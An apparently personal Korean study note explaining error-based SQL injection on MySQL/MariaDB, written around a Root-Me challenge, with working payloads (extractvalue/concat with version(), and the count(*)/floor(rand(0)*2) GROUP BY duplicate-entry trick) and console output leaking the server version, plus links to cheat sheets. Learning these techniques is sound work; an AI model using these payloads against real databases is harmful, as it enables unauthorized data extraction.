다양한 응용법이 존재하지만 기본이 되는 특징은 다음과 같다.
- 의도적으로 에러를 유발시킨다.
- 내가 원하는 에러메시지가 출력되도록 유도하거나, 혹은 에러메시지에 내가 원하는 정보를 직접 덧붙여 확인하기도 한다.
확실한 이해를 위해 다음의 예시를 살펴보자.
MariaDB [myDb]> select * from myTable limit 1 procedure analyse(extractvalue(1,concat(0x3a, version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':10.3.22-MariaDB-1'
MariaDB [myDb]>
출력된 값을 보면 에러가 발생하였고
에러메시지 뒤에 내가 덧붙인 정보인 version() 내용이 출력되었다.
이런 식으로 내가 원하는 정보를 획득할 수 있다.
Error Base SQL Injection은 상황에 따라 사용될 수 있는 형식이 매우 다양하다는 것이다.
앞서 살펴본 예시는 공격자가 임의의 정보를 추가시킬 수 있었다.
이해한 내용을 기반으로 문제풀이를 이해하자.
https://velog.io/@woounnan/Rootme.org-SQL-Injection-Error
Error Base Injection은 치트 쿼리를 보면 상당히 다양한 함수의 결합으로 이루어져 있어 이해하기가 쉽지 않다.
쿼리를 하나씩 살펴보며 분석해보자.
먼저 group by
를 사용하는 쿼리 형태가 있다.
AND(SELECT 1 FROM(SELECT COUNT(*),concat(version(),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)--
실행결과부터 확인해보자
ariaDB [myDb]> select * from myTable where true AND(SELECT 1 FROM(SELECT count(*),concat(version(),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)--; ERROR 1062 (23000): Duplicate entry '10.3.22-MariaDB-11' for key 'group_key'
Duplicate Entry
에러가 발생하면서 버전을 확인할 수 있다.
count(*)
와 floor(rand(0)*2)
이 같이 사용되야 하며, group by [컬럼]
에서 컬럼은 가변인자인 floor(rand(0)*2) as x
의 x
가 되야 한다.
왜 발생하는건지 개념을 이해하기 위해 글을 찾아봤다.
https://stackoverflow.com/questions/11787558/sql-injection-attack-what-does-this-do
명확한 이유는 없고 버그라는 이야기가 대부분이다.
https://www.exploit-db.com/docs/english/37953-mysql-error-based-sql-injection-using-exp.pdf
: 색다른 공격기법이 많음
https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/
: sql 공격기법 치트 및 간단한 설명
https://www.lanian.co.kr/entry/Error-Based-SQL-Injection
: error base 치트